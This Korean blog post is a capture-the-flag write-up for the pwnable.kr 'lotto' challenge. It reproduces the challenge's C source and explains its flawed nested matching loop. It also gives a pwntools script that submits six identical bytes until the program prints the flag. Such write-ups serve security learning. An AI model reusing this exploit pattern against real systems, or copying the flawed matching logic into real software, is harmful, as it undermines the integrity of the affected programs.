풀이
다음은 lotto.c의 코드이다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
unsigned char submit[6];
void play() {
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if (fd == -1) {
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if (read(fd, lotto, 6) != 6) {
printf("error2. tell admin\n");
exit(-1);
}
for (i = 0; i < 6; i++) {
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for (i = 0; i < 6; i++) {
for (j = 0; j < 6; j++) {
if (lotto[i] == submit[j]) {
match++;
}
}
}
// win!
if (match == 6) {
system("/bin/cat flag");
}
else {
printf("bad luck...\n");
}
}
void help() {
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
int main(int argc, char* argv[]) {
// menu
unsigned int menu;
while (1) {
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");
scanf("%d", &menu);
switch (menu) {
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}
누구나 다 알듯이, 로또는 1번부터 45번까지의 숫자가 모두 맞으면 1등이다.
이 프로그램에선 match 카운터가 6개면 flag를 출력해준다.
우리가 이 문제를 풀기 위해 알아야 할 코드는 바로 이 부분이다.
int match = 0, j = 0;
for (i = 0; i < 6; i++) {
for (j = 0; j < 6; j++) {
if (lotto[i] == submit[j]) {
match++;
}
}
}
ㅋㅋㅋㅋㅋ.. 실제 로또도 이랬으면 얼마나 좋을까..
match 카운트를 늘리기만 하고, break 문이 for문에 존재하지 않다.
그러므로 다음과 같은 문제가 발생한다.
만약에 배열이 이렇다고 가정해보자.
해당 for - if문에서는 다음과 같은 식이 성립한다.
lotto[0] -> submit[0] match++;
lotto[0] -> submit[1] match++;
lotto[0] -> submit[2] match++;
lotto[0] -> submit[3] match++;
lotto[0] -> submit[4] match++;
lotto[0] -> submit[5] match++;
이렇게 같은 값 하나를 몰아서 넣게되면, match == 6을 쉽게 만들 수 있다.
그리고 또 하나 알아야 할 것이, 값 입력을 char 형태로 받기 때문에 숫자 1 ~ 45가 아니라 ASCII 1 ~ 45이다.
또한 로컬에서 실행하는 거라면, /home/lotto/flag 파일에 링크를 걸어줘야 한다. (/tmp 경로에는 없기 때문)
ln -s /home/lotto/flag ./flag
이제 페이로드를 작성해보자.
이 코드도 어디까지나 확률이 존재하니, flag가 나올 때까지 계속 페이로드를 날려보자.
from pwn import *
p = process('/home/lotto/lotto')
p.recv(300)
p.sendline('1')
p.recvuntil('Submit your 6 lotto bytes : ')
p.send('\x10\x10\x10\x10\x10\x10')
arr = p.recvline()
print arr
arr = p.recvline()
print arr
arr = p.recvline()
print arr
'Wargame > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] coin1 풀이 (6pt) (0) | 2020.07.22 |
---|---|
[Pwnable.kr] cmd1 풀이 (1pt) (0) | 2020.07.22 |
[Pwnable.kr] blackjack 풀이 (1pt) (0) | 2020.07.21 |
[Pwnable.kr] shellshock 풀이 (1pt) (0) | 2020.07.21 |
[Pwnable.kr] mistake 풀이 (1pt) (0) | 2020.07.20 |